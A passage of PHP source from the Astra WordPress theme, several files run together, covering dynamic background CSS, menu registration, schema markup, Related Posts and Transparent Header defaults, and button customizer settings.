'.ast-separate-container .ast-article-single:not(.ast-related-post), .woocommerce.ast-separate-container .ast-woocommerce-container, .ast-separate-container .error-404, .ast-separate-container .no-results, .single.ast-separate-container ' . esc_attr( $author_box_extra_selector ) . ' .ast-author-meta, .ast-separate-container .related-posts-title-wrapper,.ast-separate-container .comments-count-wrapper, .ast-box-layout.ast-plain-container .site-content,.ast-padded-layout.ast-plain-container .site-content, .ast-separate-container .ast-archive-description' . $narrow_dynamic_selector . $comments_wrapper_bg_selector => astra_get_responsive_background_obj( $content_bg_obj, 'desktop' ),
);
// Container Layout Colors.
$container_css_tablet = array(
'.ast-separate-container .ast-article-single:not(.ast-related-post), .woocommerce.ast-separate-container .ast-woocommerce-container, .ast-separate-container .error-404, .ast-separate-container .no-results, .single.ast-separate-container ' . esc_attr( $author_box_extra_selector ) . ' .ast-author-meta, .ast-separate-container .related-posts-title-wrapper,.ast-separate-container .comments-count-wrapper, .ast-box-layout.ast-plain-container .site-content,.ast-padded-layout.ast-plain-container .site-content, .ast-separate-container .ast-archive-description' . $narrow_dynamic_selector => astra_get_responsive_background_obj( $content_bg_obj, 'tablet' ),
);
// Container Layout Colors.
$container_css_mobile = array(
'.ast-separate-container .ast-article-single:not(.ast-related-post), .woocommerce.ast-separate-container .ast-woocommerce-container, .ast-separate-container .error-404, .ast-separate-container .no-results, .single.ast-separate-container ' . esc_attr( $author_box_extra_selector ) . ' .ast-author-meta, .ast-separate-container .related-posts-title-wrapper,.ast-separate-container .comments-count-wrapper, .ast-box-layout.ast-plain-container .site-content,.ast-padded-layout.ast-plain-container .site-content, .ast-separate-container .ast-archive-description' . $narrow_dynamic_selector => astra_get_responsive_background_obj( $content_bg_obj, 'mobile' ),
);
// Sidebar specific css.
$sidebar_css = array(
'.ast-separate-container.ast-two-container #secondary .widget' => astra_get_responsive_background_obj( $sidebar_default_css, 'desktop' ),
);
// Sidebar specific css.
$sidebar_css_tablet = array(
'.ast-separate-container.ast-two-container #secondary .widget' => astra_get_responsive_background_obj( $sidebar_default_css, 'tablet' ),
);
// Sidebar specific css.
$sidebar_css_mobile = array(
'.ast-separate-container.ast-two-container #secondary .widget' => astra_get_responsive_background_obj( $sidebar_default_css, 'mobile' ),
);
// Apply Content BG Color for Narrow Unboxed Container.
if ( ! astra_is_content_style_boxed() && 'narrow-container' === $current_layout ) {
$container_css = array_merge(
$container_css,
array( '.ast-narrow-container .site-content' => astra_get_responsive_background_obj( $content_bg_obj, 'desktop' ) )
);
$container_css_tablet = array_merge(
$container_css_tablet,
array( '.ast-narrow-container .site-content' => astra_get_responsive_background_obj( $content_bg_obj, 'tablet' ) )
);
$container_css_mobile = array_merge(
$container_css_mobile,
array( '.ast-narrow-container .site-content' => astra_get_responsive_background_obj( $content_bg_obj, 'mobile' ) )
);
}
// Blog Pro Layout Colors.
if ( ( 'blog-layout-1' === $blog_layout || 'blog-layout-4' === $blog_layout || 'blog-layout-6' === $blog_layout ) || ( defined( 'ASTRA_EXT_VER' ) && ( 'blog-layout-1' === $blog_layout || 'blog-layout-4' === $blog_layout || 'blog-layout-6' === $blog_layout ) && 1 !== $blog_grid ) ) {
$blog_layouts = array(
'.ast-separate-container .ast-article-inner' => astra_get_responsive_background_obj( $content_bg_obj, 'desktop' ),
);
$blog_layouts_tablet = array(
'.ast-separate-container .ast-article-inner' => astra_get_responsive_background_obj( $content_bg_obj, 'tablet' ),
);
$blog_layouts_mobile = array(
'.ast-separate-container .ast-article-inner' => astra_get_responsive_background_obj( $content_bg_obj, 'mobile' ),
);
} else {
$blog_layouts = array(
'.ast-separate-container .ast-article-post' => astra_get_responsive_background_obj( $content_bg_obj, 'desktop' ),
);
$blog_layouts_tablet = array(
'.ast-separate-container .ast-article-post' => astra_get_responsive_background_obj( $content_bg_obj, 'tablet' ),
);
$blog_layouts_mobile = array(
'.ast-separate-container .ast-article-post' => astra_get_responsive_background_obj( $content_bg_obj, 'mobile' ),
);
$inner_layout = array(
'.ast-separate-container .ast-article-inner' => array(
'background-color' => 'transparent',
'background-image' => 'none',
),
);
$dynamic_css .= astra_parse_css( $inner_layout );
}
$dynamic_css .= astra_parse_css( $blog_layouts );
/** @psalm-suppress InvalidArgument */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort
$dynamic_css .= astra_parse_css( $blog_layouts_tablet, '', astra_get_tablet_breakpoint() );
/** @psalm-suppress InvalidArgument */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort
$dynamic_css .= astra_parse_css( $blog_layouts_mobile, '', astra_get_mobile_breakpoint() );
$dynamic_css .= astra_parse_css( $container_css );
/** @psalm-suppress InvalidArgument */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort
$dynamic_css .= astra_parse_css( $container_css_tablet, '', astra_get_tablet_breakpoint() );
/** @psalm-suppress InvalidArgument */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort
$dynamic_css .= astra_parse_css( $container_css_mobile, '', astra_get_mobile_breakpoint() );
$dynamic_css .= astra_parse_css( $sidebar_css );
/** @psalm-suppress InvalidArgument */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort
$dynamic_css .= astra_parse_css( $sidebar_css_tablet, '', astra_get_tablet_breakpoint() );
/** @psalm-suppress InvalidArgument */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort
$dynamic_css .= astra_parse_css( $sidebar_css_mobile, '', astra_get_mobile_breakpoint() );
if ( astra_apply_content_background_fullwidth_layouts() ) {
$fullwidth_layout = array(
'.ast-plain-container, .ast-page-builder-template' => astra_get_responsive_background_obj( $content_bg_obj, 'desktop' ),
);
$fullwidth_layout_tablet = array(
'.ast-plain-container, .ast-page-builder-template' => astra_get_responsive_background_obj( $content_bg_obj, 'tablet' ),
);
$fullwidth_layout_mobile = array(
'.ast-plain-container, .ast-page-builder-template' => astra_get_responsive_background_obj( $content_bg_obj, 'mobile' ),
);
$dynamic_css .= astra_parse_css( $fullwidth_layout );
/** @psalm-suppress InvalidArgument */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort
$dynamic_css .= astra_parse_css( $fullwidth_layout_tablet, '', astra_get_tablet_breakpoint() );
/** @psalm-suppress InvalidArgument */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort
$dynamic_css .= astra_parse_css( $fullwidth_layout_mobile, '', astra_get_mobile_breakpoint() );
}
return $dynamic_css;
}
/**
* Applies an unboxed container to the content.
*
* @since 4.2.0
* @param array $content_bg_obj The background object for the content.
* @param bool $is_boxed Container style is boxed or not.
* @param bool $is_sidebar_boxed Sidebar style is boxed or not.
* @param mixed $current_layout The current container layout applied.
* @return array $content_bg_obj The updated background object for the content.
*/
function astra_apply_unboxed_container( $content_bg_obj, $is_boxed, $is_sidebar_boxed, $current_layout ) {
$site_bg_obj = astra_get_option( 'site-layout-outside-bg-obj-responsive' );
$meta_background_enabled = astra_get_option_meta( 'ast-page-background-enabled' );
// Check for third party pages meta.
if ( '' === $meta_background_enabled && astra_with_third_party() ) {
$meta_background_enabled = astra_third_party_archive_meta( 'ast-page-background-enabled' );
if ( isset( $meta_background_enabled ) && 'enabled' === $meta_background_enabled ) {
$site_bg_obj = astra_third_party_archive_meta( 'ast-page-background-meta' );
}
} elseif ( isset( $meta_background_enabled ) && 'enabled' === $meta_background_enabled ) {
$site_bg_obj = astra_get_option_meta( 'ast-page-background-meta' );
}
if ( 'plain-container' === $current_layout && ! $is_boxed && $is_sidebar_boxed && 'no-sidebar' !== astra_page_layout() ) {
$content_bg_obj = $site_bg_obj;
}
return $content_bg_obj;
}/**
* Admin functions - Functions that add some functionality to WordPress admin panel
*
* @package Astra
* @since 1.0.0
*/
if ( ! defined( 'ABSPATH' ) ) {
exit; // Exit if accessed directly.
}
/**
* Register menus
*/
if ( ! function_exists( 'astra_register_menu_locations' ) ) {
/**
* Register menus
*
* @since 1.0.0
*/
function astra_register_menu_locations() {
/**
* Primary Menus
*/
register_nav_menus(
array(
'primary' => esc_html__( 'Primary Menu', 'astra' ),
)
);
if ( true === Astra_Builder_Helper::$is_header_footer_builder_active ) {
/**
* Register the Secondary & Mobile menus.
*/
register_nav_menus(
array(
'secondary_menu' => esc_html__( 'Secondary Menu', 'astra' ),
'mobile_menu' => esc_html__( 'Off-Canvas Menu', 'astra' ),
)
);
$component_limit = defined( 'ASTRA_EXT_VER' ) ? Astra_Builder_Helper::$component_limit : Astra_Builder_Helper::$num_of_header_menu;
for ( $index = 3; $index <= $component_limit; $index++ ) {
if ( ! is_customize_preview() && ! Astra_Builder_Helper::is_component_loaded( 'menu-' . $index ) ) {
continue;
}
register_nav_menus(
array(
'menu_' . $index => esc_html__( 'Menu ', 'astra' ) . $index,
)
);
}
/**
* Register the Account menus.
*/
register_nav_menus(
array(
'loggedin_account_menu' => esc_html__( 'Logged In Account Menu', 'astra' ),
)
);
}
/**
* Footer Menus
*/
register_nav_menus(
array(
'footer_menu' => esc_html__( 'Footer Menu', 'astra' ),
)
);
}
}
add_action( 'init', 'astra_register_menu_locations' );/**
* Schema markup.
*
* @package Astra
* @author Astra
* @copyright Copyright (c) 2020, Astra
* @link https://wpastra.com/
* @since Astra 2.1.3
*/
if ( ! defined( 'ABSPATH' ) ) {
exit; // Exit if accessed directly.
}
/**
* Astra CreativeWork Schema Markup.
*
* @since 2.1.3
*/
class Astra_WPHeader_Schema extends Astra_Schema {
/**
* Setup schema
*
* @since 2.1.3
*/
public function setup_schema() {
if ( true !== $this->schema_enabled() ) {
return false;
}
add_filter( 'astra_attr_header', array( $this, 'wpheader_Schema' ) );
}
/**
* Update Schema markup attribute.
*
* @param array $attr An array of attributes.
*
* @return array Updated embed markup.
*/
public function wpheader_Schema( $attr ) {
$attr['itemtype'] = 'https://schema.org/WPHeader';
$attr['itemscope'] = 'itemscope';
$attr['itemid'] = '#masthead';
return $attr;
}
/**
* Enabled schema
*
* @since 2.1.3
*/
protected function schema_enabled() {
return apply_filters( 'astra_wpheader_schema_enabled', parent::schema_enabled() );
}
}
new Astra_WPHeader_Schema();/**
* Related Posts Loader for Astra theme.
*
* @package Astra
* @author Brainstorm Force
* @copyright Copyright (c) 2021, Brainstorm Force
* @link https://www.brainstormforce.com
* @since Astra 3.5.0
*/
if ( ! defined( 'ABSPATH' ) ) {
exit; // Exit if accessed directly.
}
/**
* Customizer Initialization
*
* @since 3.5.0
*/
class Astra_Related_Posts_Loader {
/**
* Constructor
*
* @since 3.5.0
*/
public function __construct() {
add_filter( 'astra_theme_defaults', array( $this, 'theme_defaults' ) );
add_action( 'customize_register', array( $this, 'related_posts_customize_register' ), 2 );
// Load Google fonts.
add_action( 'astra_get_fonts', array( $this, 'add_fonts' ), 1 );
}
/**
* Enqueue google fonts.
*
* @return void
*/
public function add_fonts() {
if ( astra_target_rules_for_related_posts() ) {
// Related Posts Section title.
$section_title_font_family = astra_get_option( 'related-posts-section-title-font-family' );
$section_title_font_weight = astra_get_option( 'related-posts-section-title-font-weight' );
Astra_Fonts::add_font( $section_title_font_family, $section_title_font_weight );
// Related Posts - Posts title.
$post_title_font_family = astra_get_option( 'related-posts-title-font-family' );
$post_title_font_weight = astra_get_option( 'related-posts-title-font-weight' );
Astra_Fonts::add_font( $post_title_font_family, $post_title_font_weight );
// Related Posts - Meta Font.
$meta_font_family = astra_get_option( 'related-posts-meta-font-family' );
$meta_font_weight = astra_get_option( 'related-posts-meta-font-weight' );
Astra_Fonts::add_font( $meta_font_family, $meta_font_weight );
// Related Posts - Content Font.
$content_font_family = astra_get_option( 'related-posts-content-font-family' );
$content_font_weight = astra_get_option( 'related-posts-content-font-weight' );
Astra_Fonts::add_font( $content_font_family, $content_font_weight );
}
}
/**
* Set Options Default Values
*
* @param array $defaults Astra options default value array.
* @return array
*/
public function theme_defaults( $defaults ) {
/**
* Update Astra default color and typography values. To not update directly on existing users site, added backwards.
*
* @since 4.0.0
*/
$apply_new_default_color_typo_values = Astra_Dynamic_CSS::astra_check_default_color_typo();
$astra_options = Astra_Theme_Options::get_astra_options();
$astra_blog_update = Astra_Dynamic_CSS::astra_4_6_0_compatibility();
// Related Posts.
$defaults['enable-related-posts'] = false;
$defaults['related-posts-title'] = __( 'Related Posts', 'astra' );
$defaults['releted-posts-title-alignment'] = 'left';
$defaults['related-posts-total-count'] = 2;
$defaults['enable-related-posts-excerpt'] = false;
$defaults['related-posts-box-placement'] = 'default';
$defaults['related-posts-outside-location'] = 'above';
$defaults['related-posts-container-width'] = $astra_blog_update ? '' : 'fallback';
$defaults['related-posts-excerpt-count'] = 25;
$defaults['related-posts-based-on'] = 'categories';
$defaults['related-posts-order-by'] = 'date';
$defaults['related-posts-order'] = 'asc';
$defaults['related-posts-grid-responsive'] = array(
'desktop' => '2-equal',
'tablet' => '2-equal',
'mobile' => 'full',
);
$defaults['related-posts-structure'] = array(
'featured-image',
'title-meta',
);
$defaults['related-posts-tag-style'] = 'none';
$defaults['related-posts-category-style'] = 'none';
$defaults['related-posts-date-format'] = '';
$defaults['related-posts-meta-date-type'] = 'published';
$defaults['related-posts-author-avatar-size'] = '';
$defaults['related-posts-author-avatar'] = false;
$defaults['related-posts-author-prefix-label'] = astra_default_strings( 'string-blog-meta-author-by', false );
$defaults['related-posts-image-size'] = '';
$defaults['related-posts-image-custom-scale-width'] = 16;
$defaults['related-posts-image-custom-scale-height'] = 9;
$defaults['related-posts-image-ratio-pre-scale'] = '16/9';
$defaults['related-posts-image-ratio-type'] = '';
$defaults['related-posts-meta-structure'] = array(
'comments',
'category',
'author',
);
// Related Posts - Color styles.
$defaults['related-posts-text-color'] = $apply_new_default_color_typo_values ? 'var(--ast-global-color-2)' : '';
$defaults['related-posts-link-color'] = '';
$defaults['related-posts-title-color'] = $apply_new_default_color_typo_values ? 'var(--ast-global-color-2)' : '';
$defaults['related-posts-background-color'] = '';
$defaults['related-posts-meta-color'] = '';
$defaults['related-posts-link-hover-color'] = '';
$defaults['related-posts-meta-link-hover-color'] = '';
// Related Posts - Title typo.
$defaults['related-posts-section-title-font-family'] = 'inherit';
$defaults['related-posts-section-title-font-weight'] = 'inherit';
$defaults['related-posts-section-title-text-transform'] = '';
$defaults['related-posts-section-title-line-height'] = $apply_new_default_color_typo_values ? '1.25' : '';
$defaults['related-posts-section-title-font-extras'] = array(
'line-height' => ! isset( $astra_options['related-posts-section-title-font-extras'] ) && isset( $astra_options['related-posts-section-title-line-height'] ) ? $astra_options['related-posts-section-title-line-height'] : '1.6',
'line-height-unit' => 'em',
'letter-spacing' => '',
'letter-spacing-unit' => 'px',
'text-transform' => ! isset( $astra_options['related-posts-section-title-font-extras'] ) && isset( $astra_options['related-posts-section-title-text-transform'] ) ? $astra_options['related-posts-section-title-text-transform'] : '',
'text-decoration' => '',
);
$defaults['related-posts-section-title-font-size'] = array(
'desktop' => $apply_new_default_color_typo_values ? '26' : '30',
'tablet' => '',
'mobile' => '',
'desktop-unit' => 'px',
'tablet-unit' => 'px',
'mobile-unit' => 'px',
);
// Related Posts - Title typo.
$defaults['related-posts-title-font-family'] = 'inherit';
$defaults['related-posts-title-font-weight'] = $apply_new_default_color_typo_values ? '500' : 'inherit';
$defaults['related-posts-title-text-transform'] = '';
$defaults['related-posts-title-line-height'] = '1';
$defaults['related-posts-title-font-size'] = array(
'desktop' => '20',
'tablet' => '',
'mobile' => '',
'desktop-unit' => 'px',
'tablet-unit' => 'px',
'mobile-unit' => 'px',
);
$defaults['related-posts-title-font-extras'] = array(
'line-height' => ! isset( $astra_options['related-posts-title-font-extras'] ) && isset( $astra_options['related-posts-title-line-height'] ) ? $astra_options['related-posts-title-line-height'] : ( $astra_blog_update ? '1.5' : '1' ),
'line-height-unit' => 'em',
'letter-spacing' => '',
'letter-spacing-unit' => 'px',
'text-transform' => ! isset( $astra_options['related-posts-title-font-extras'] ) && isset( $astra_options['related-posts-title-text-transform'] ) ? $astra_options['related-posts-title-text-transform'] : '',
'text-decoration' => '',
);
// Related Posts - Meta typo.
$defaults['related-posts-meta-font-family'] = 'inherit';
$defaults['related-posts-meta-font-weight'] = 'inherit';
$defaults['related-posts-meta-text-transform'] = '';
$defaults['related-posts-meta-line-height'] = '';
$defaults['related-posts-meta-font-size'] = array(
'desktop' => '14',
'tablet' => '',
'mobile' => '',
'desktop-unit' => 'px',
'tablet-unit' => 'px',
'mobile-unit' => 'px',
);
$defaults['related-posts-meta-font-extras'] = array(
'line-height' => ! isset( $astra_options['related-posts-meta-font-extras'] ) && isset( $astra_options['related-posts-meta-line-height'] ) ? $astra_options['related-posts-meta-line-height'] : '1.6',
'line-height-unit' => 'em',
'letter-spacing' => '',
'letter-spacing-unit' => 'px',
'text-transform' => ! isset( $astra_options['related-posts-meta-font-extras'] ) && isset( $astra_options['related-posts-meta-text-transform'] ) ? $astra_options['related-posts-meta-text-transform'] : '',
'text-decoration' => '',
);
// Related Posts - Content typo.
$defaults['related-posts-content-font-family'] = 'inherit';
$defaults['related-posts-content-font-weight'] = 'inherit';
$defaults['related-posts-content-font-extras'] = array(
'line-height' => ! isset( $astra_options['related-posts-content-font-extras'] ) && isset( $astra_options['related-posts-content-line-height'] ) ? $astra_options['related-posts-content-line-height'] : '',
'line-height-unit' => 'em',
'letter-spacing' => '',
'letter-spacing-unit' => 'px',
'text-transform' => ! isset( $astra_options['related-posts-content-font-extras'] ) && isset( $astra_options['related-posts-content-text-transform'] ) ? $astra_options['related-posts-content-text-transform'] : '',
'text-decoration' => '',
);
$defaults['related-posts-content-font-size'] = array(
'desktop' => '',
'tablet' => '',
'mobile' => '',
'desktop-unit' => 'px',
'tablet-unit' => 'px',
'mobile-unit' => 'px',
);
$defaults['ast-sub-section-related-posts-padding'] = array(
'desktop' => array(
'top' => 2.5,
'right' => 2.5,
'bottom' => 2.5,
'left' => 2.5,
),
'tablet' => array(
'top' => '',
'right' => '',
'bottom' => '',
'left' => '',
),
'mobile' => array(
'top' => '',
'right' => '',
'bottom' => '',
'left' => '',
),
'desktop-unit' => 'em',
'tablet-unit' => 'em',
'mobile-unit' => 'em',
);
$defaults['ast-sub-section-related-posts-margin'] = array(
'desktop' => array(
'top' => 2,
'right' => '',
'bottom' => '',
'left' => '',
),
'tablet' => array(
'top' => '',
'right' => '',
'bottom' => '',
'left' => '',
),
'mobile' => array(
'top' => '',
'right' => '',
'bottom' => '',
'left' => '',
),
'desktop-unit' => 'em',
'tablet-unit' => 'em',
'mobile-unit' => 'em',
);
return $defaults;
}
/**
* Add postMessage support for site title and description for the Theme Customizer.
*
* @param WP_Customize_Manager $wp_customize Theme Customizer object.
*
* @since 3.5.0
*/
public function related_posts_customize_register( $wp_customize ) {
/**
* Register Config control in Related Posts.
*/
// @codingStandardsIgnoreStart WPThemeReview.CoreFunctionality.FileInclude.FileIncludeFound
require_once ASTRA_RELATED_POSTS_DIR . 'customizer/class-astra-related-posts-configs.php';
// @codingStandardsIgnoreEnd WPThemeReview.CoreFunctionality.FileInclude.FileIncludeFound
}
/**
* Render the Related Posts title for the selective refresh partial.
*
* @since 3.5.0
*/
public function render_related_posts_title() {
return astra_get_option( 'related-posts-title' );
}
}
/**
* Kicking this off by creating NEW instace.
*/
new Astra_Related_Posts_Loader();/**
* Transparent Header - Customizer.
*
* @package Astra
* @since 1.0.0
*/
if ( ! defined( 'ABSPATH' ) ) {
exit; // Exit if accessed directly.
}
if ( ! class_exists( 'Astra_Ext_Transparent_Header_Loader' ) ) {
/**
* Customizer Initialization
*
* @since 1.0.0
*/
class Astra_Ext_Transparent_Header_Loader {
/**
* Member Variable
*
* @var object instance
*/
private static $instance;
/**
* Initiator
*/
public static function get_instance() {
if ( ! isset( self::$instance ) ) {
self::$instance = new self();
}
return self::$instance;
}
/**
* Constructor
*/
public function __construct() {
add_filter( 'astra_theme_defaults', array( $this, 'theme_defaults' ) );
add_action( 'customize_preview_init', array( $this, 'preview_scripts' ) );
add_action( 'customize_register', array( $this, 'customize_register' ), 2 );
}
/**
* Set Options Default Values
*
* @param array $defaults Astra options default value array.
* @return array
*/
public function theme_defaults( $defaults ) {
// Header - Transparent.
$defaults['transparent-header-logo'] = '';
$defaults['transparent-header-retina-logo'] = '';
$defaults['different-transparent-logo'] = 0;
$defaults['different-transparent-retina-logo'] = 0;
$defaults['transparent-header-logo-width'] = array(
'desktop' => 150,
'tablet' => 120,
'mobile' => 100,
);
$defaults['transparent-header-enable'] = 0;
/**
* Old option for 404, search and archive pages.
*
* For default value on separate option this setting is in use.
*/
$defaults['transparent-header-disable-archive'] = 1;
$defaults['transparent-header-disable-latest-posts-index'] = 1;
$defaults['transparent-header-on-devices'] = 'both';
$defaults['transparent-header-main-sep'] = '';
$defaults['transparent-header-main-sep-color'] = '';
/**
* Transparent Header
*/
$defaults['transparent-header-bg-color'] = '';
$defaults['transparent-header-color-site-title'] = '';
$defaults['transparent-header-color-h-site-title'] = '';
$defaults['transparent-menu-bg-color'] = '';
$defaults['transparent-menu-color'] = '';
$defaults['transparent-menu-h-color'] = '';
$defaults['transparent-submenu-bg-color'] = '';
$defaults['transparent-submenu-color'] = '';
$defaults['transparent-submenu-h-color'] = '';
$defaults['transparent-header-logo-color'] = '';
/**
* Transparent Header Responsive Colors
*/
$defaults['transparent-header-bg-color-responsive'] = array(
'desktop' => '',
'tablet' => '',
'mobile' => '',
);
$defaults['hba-transparent-header-bg-color-responsive'] = array(
'desktop' => '',
'tablet' => '',
'mobile' => '',
);
$defaults['hbb-transparent-header-bg-color-responsive'] = array(
'desktop' => '',
'tablet' => '',
'mobile' => '',
);
$defaults['transparent-header-color-site-title-responsive'] = array(
'desktop' => '',
'tablet' => '',
'mobile' => '',
);
$defaults['transparent-header-color-h-site-title-responsive'] = array(
'desktop' => '',
'tablet' => '',
'mobile' => '',
);
$defaults['transparent-menu-bg-color-responsive'] = array(
'desktop' => '',
'tablet' => '',
'mobile' => '',
);
$defaults['transparent-menu-color-responsive'] = array(
'desktop' => '',
'tablet' => '',
'mobile' => '',
);
$defaults['transparent-menu-h-color-responsive'] = array(
'desktop' => '',
'tablet' => '',
'mobile' => '',
);
$defaults['transparent-submenu-bg-color-responsive'] = array(
'desktop' => '',
'tablet' => '',
'mobile' => '',
);
$defaults['transparent-submenu-color-responsive'] = array(
'desktop' => '',
'tablet' => '',
'mobile' => '',
);
$defaults['transparent-submenu-h-color-responsive'] = array(
'desktop' => '',
'tablet' => '',
'mobile' => '',
);
$defaults['transparent-content-section-text-color-responsive'] = array(
'desktop' => '',
'tablet' => '',
'mobile' => '',
);
$defaults['transparent-content-section-link-color-responsive'] = array(
'desktop' => '',
'tablet' => '',
'mobile' => '',
);
$defaults['transparent-content-section-link-h-color-responsive'] = array(
'desktop' => '',
'tablet' => '',
'mobile' => '',
);
return $defaults;
}
/**
* Add postMessage support for site title and description for the Theme Customizer.
*
* @param WP_Customize_Manager $wp_customize Theme Customizer object.
*/
public function customize_register( $wp_customize ) {
// @codingStandardsIgnoreStart WPThemeReview.CoreFunctionality.FileInclude.FileIncludeFound
/**
* Register Panel & Sections
*/
require_once ASTRA_THEME_TRANSPARENT_HEADER_DIR . 'classes/class-astra-transparent-header-panels-and-sections.php';
/**
* Sections
*/
require_once ASTRA_THEME_TRANSPARENT_HEADER_DIR . 'classes/sections/class-astra-customizer-colors-transparent-header-configs.php';
// Check Transparent Header is activated.
require_once ASTRA_THEME_TRANSPARENT_HEADER_DIR . 'classes/sections/class-astra-customizer-transparent-header-configs.php';
// @codingStandardsIgnoreEnd WPThemeReview.CoreFunctionality.FileInclude.FileIncludeFound
}
/**
* Customizer Preview
*/
public function preview_scripts() {
/**
* Load unminified if SCRIPT_DEBUG is true.
*/
/* Directory and Extension */
$dir_name = ( SCRIPT_DEBUG ) ? 'unminified' : 'minified';
$file_prefix = ( SCRIPT_DEBUG ) ? '' : '.min';
wp_enqueue_script( 'astra-transparent-header-customizer-preview-js', ASTRA_THEME_TRANSPARENT_HEADER_URI . 'assets/js/' . $dir_name . '/customizer-preview' . $file_prefix . '.js', array( 'customize-preview', 'astra-customizer-preview-js' ), ASTRA_THEME_VERSION, true );
// Localize variables for further JS.
wp_localize_script(
'astra-transparent-header-customizer-preview-js',
'AstraBuilderTransparentData',
array(
'is_astra_hf_builder_active' => Astra_Builder_Helper::$is_header_footer_builder_active,
'is_flex_based_css' => Astra_Builder_Helper::apply_flex_based_css(),
'transparent_header_devices' => astra_get_option( 'transparent-header-on-devices' ),
)
);
}
}
}
/**
* Kicking this off by calling 'get_instance()' method
*/
Astra_Ext_Transparent_Header_Loader::get_instance();/**
* Astra Theme Customizer Configuration Builder.
*
* @package astra-builder
* @author Astra
* @copyright Copyright (c) 2020, Astra
* @link https://wpastra.com/
* @since 3.0.0
*/
// No direct access, please.
if ( ! defined( 'ABSPATH' ) ) {
exit;
}
/**
* Register Builder Customizer Configurations.
*
* @since 3.0.0
*/
class Astra_Button_Component_Configs {
/**
* Register Builder Customizer Configurations.
*
* @param array $configurations Configurations.
* @param string $builder_type Builder Type.
* @param string $section Section.
*
* @since 3.0.0
* @return array $configurations Astra Customizer Configurations with updated configurations.
*/
public static function register_configuration( $configurations, $builder_type = 'header', $section = 'section-hb-button-' ) {
if ( 'footer' === $builder_type ) {
$class_obj = Astra_Builder_Footer::get_instance();
$number_of_button = Astra_Builder_Helper::$num_of_footer_button;
$component_limit = defined( 'ASTRA_EXT_VER' ) ? Astra_Builder_Helper::$component_limit : Astra_Builder_Helper::$num_of_footer_button;
} else {
$class_obj = Astra_Builder_Header::get_instance();
$number_of_button = Astra_Builder_Helper::$num_of_header_button;
$component_limit = defined( 'ASTRA_EXT_VER' ) ? Astra_Builder_Helper::$component_limit : Astra_Builder_Helper::$num_of_header_button;
}
$button_config = array();
for ( $index = 1; $index <= $component_limit; $index++ ) {
$_section = $section . $index;
$_prefix = 'button' . $index;
/**
* These options are related to Header Section - Button.
* Prefix hs represents - Header Section.
*/
$button_config[] = array(
/*
* Header Builder section - Button Component Configs.
*/
array(
'name' => $_section,
'type' => 'section',
'priority' => 50,
/* translators: %s Index */
'title' => ( 1 === $number_of_button ) ? __( 'Button', 'astra' ) : sprintf( __( 'Button %s', 'astra' ), $index ),
'panel' => 'panel-' . $builder_type . '-builder-group',
'clone_index' => $index,
'clone_type' => $builder_type . '-button',
),
/**
* Option: Header Builder Tabs
*/
array(
'name' => $_section . '-ast-context-tabs',
'section' => $_section,
'type' => 'control',
'control' => 'ast-builder-header-control',
'priority' => 0,
'description' => '',
),
/**
* Option: Button Text
*/
array(
'name' => ASTRA_THEME_SETTINGS . '[' . $builder_type . '-' . $_prefix . '-text]',
'default' => astra_get_option( $builder_type . '-' . $_prefix . '-text' ),
'type' => 'control',
'control' => 'text',
'section' => $_section,
'priority' => 20,
'title' => __( 'Text', 'astra' ),
'transport' => 'postMessage',
'partial' => array(
'selector' => '.ast-' . $builder_type . '-button-' . $index,
'container_inclusive' => false,
'render_callback' => array( $class_obj, 'button_' . $index ),
'fallback_refresh' => false,
),
'context' => Astra_Builder_Helper::$general_tab,
),
/**
* Option: Button Link
*/
array(
'name' => ASTRA_THEME_SETTINGS . '[' . $builder_type . '-' . $_prefix . '-link-option]',
'default' => astra_get_option( $builder_type . '-' . $_prefix . '-link-option' ),
'type' => 'control',
'control' => 'ast-link',
'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_link' ),
'section' => $_section,
'priority' => 30,
'title' => __( 'Link', 'astra' ),
'transport' => 'postMessage',
'partial' => array(
'selector' => '.ast-' . $builder_type . '-button-' . $index,
'container_inclusive' => false,
'render_callback' => array( $class_obj, 'button_' . $index ),
),
'context' => Astra_Builder_Helper::$general_tab,
'divider' => array( 'ast_class' => 'ast-top-section-divider' ),
),
/**
* Group: Primary Header Button Colors Group
*/
array(
'name' => ASTRA_THEME_SETTINGS . '[' . $builder_type . '-' . $_prefix . '-text-color-group]',
'default' => astra_get_option( $builder_type . '-' . $_prefix . '-color-group' ),
'type' => 'control',
'control' => 'ast-color-group',
'title' => __( 'Text Color', 'astra' ),
'section' => $_section,
'transport' => 'postMessage',
'priority' => 70,
'context' => Astra_Builder_Helper::$design_tab,
'responsive' => true,
'divider' => array( 'ast_class' => 'ast-section-spacing' ),
),
array(
'name' => ASTRA_THEME_SETTINGS . '[' . $builder_type . '-' . $_prefix . '-background-color-group]',
'default' => astra_get_option( $builder_type . '-' . $_prefix . '-color-group' ),
'type' => 'control',
'control' => 'ast-color-group',
'title' => __( 'Background Color', 'astra' ),
'section' => $_section,
'transport' => 'postMessage',
'priority' => 70,
'context' => Astra_Builder_Helper::$design_tab,
'responsive' => true,
),
/**
* Option: Button Text Color
*/
array(
'name' => $builder_type . '-' . $_prefix . '-text-color',
'transport' => 'postMessage',
'default' => astra_get_option( $builder_type . '-' . $_prefix . '-text-color' ),
'type' => 'sub-control',
'parent' => ASTRA_THEME_SETTINGS . '[' . $builder_type . '-' . $_prefix . '-text-color-group]',
'section' => $_section,
'tab' => __( 'Normal', 'astra' ),
'control' => 'ast-responsive-color',
'responsive' => true,
'rgba' => true,
'priority' => 9,
'context' => Astra_Builder_Helper::$design_tab,
'title' => __( 'Normal', 'astra' ),
),
/**
* Option: Button Text Hover Color
*/
array(
'name' => $builder_type . '-' . $_prefix . '-text-h-color',
'default' => astra_get_option( $builder_type . '-' . $_prefix . '-text-h-color' ),
'transport' => 'postMessage',
'type' => 'sub-control',
'parent' => ASTRA_THEME_SETTINGS . '[' . $builder_type . '-' . $_prefix . '-text-color-group]',
'section' => $_section,
'tab' => __( 'Hover', 'astra' ),
'control' => 'ast-responsive-color',
'responsive' => true,
'rgba' => true,
'priority' => 9,
'context' => Astra_Builder_Helper::$design_tab,
'title' => __( 'Hover', 'astra' ),
),
/**
* Option: Button Background Color
*/
array(
'name' => $builder_type . '-' . $_prefix . '-back-color',
